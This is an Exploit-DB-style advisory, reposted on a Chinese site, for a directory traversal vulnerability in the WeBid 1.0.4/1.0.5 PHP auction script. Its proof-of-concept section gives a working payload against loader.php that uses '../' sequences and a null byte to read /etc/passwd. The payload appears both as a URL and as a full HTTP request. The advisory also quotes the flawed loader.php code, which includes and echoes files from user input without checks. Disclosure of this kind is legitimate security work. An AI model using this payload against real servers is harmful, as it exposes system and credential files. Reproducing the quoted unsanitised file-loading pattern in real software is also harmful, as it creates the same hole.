weBid 1.0.5 – Directory Traversal - 体验盒子

作者： loneferret

日期： 2012-11-19

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/22829/

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# Author: loneferret of Offensive Security

# Product: WeBid

# Version: 1.0.4 & 1.0.5 (and maybe older versions)

# Vendor Site: http://www.webidsupport.com

# Software Download: http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.0.5/WeBid-1.0.5.zip/download/download

# Other related vulnerabilities: http://www.exploit-db.com/exploits/22828/

# Tested on: Ubuntu Linux

# Software description:

# WeBid is an open-source auction script package.

# Although still in beta stages WeBid is one of the best open-source solutions

# for getting an auction site up and running quickly and cheaply.

# Written in the popular scripting language PHP and with a large collection of highly customisable

# features WeBid is the prefect choice for setting up any auction site.

# Some of it's key features which make WeBid a great choice are: WeBid has an easy to

# use administration panel; a user friendly installation process, which allows you to have

# your own auction site set up in minutes; an inbuilt payment system allowing your users to

# easily pay fees and their purchased items with their favourite payment gateways (these include PayPal, Authorize.Net).

# As well as being incredibly easy to edit to your liking.

# Vulnerability:

# Directory Traversal.

# PoC:

# http://server/path/loader.php?js=../../../../../../../../../../etc/passwd%00.js;

# GET /WeBid/loader.php?js=../../../../../../../../../../etc/passwd%00.js; HTTP/1.1

# Cookie: PHPSESSID=99ec7c29eb7e060d56bb77aa1320f6de; WEBID_ONLINE=eda35dc2ad7782db5dee1543be4daf4c

# Host: 172.16.194.148

# Connection: Keep-alive

# Accept-Encoding: gzip,deflate

# User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

# Accept: */*

# Code loader.php

# if (isset($_GET['js']))

# {

# $js = explode(';', $_GET['js']);

#foreach ($js as $val)

#{

#$ext = substr($val, strrpos($val, '.') + 1);

#if ($ext == 'php')

#{

#if (check_file($val))

#{

#include $val;

#}

#elseif ($ext == 'js' || $ext == 'css')

# {

#if (is_file($val))

#{

#echo file_get_contents($val);

#echo "\n";

#}

# }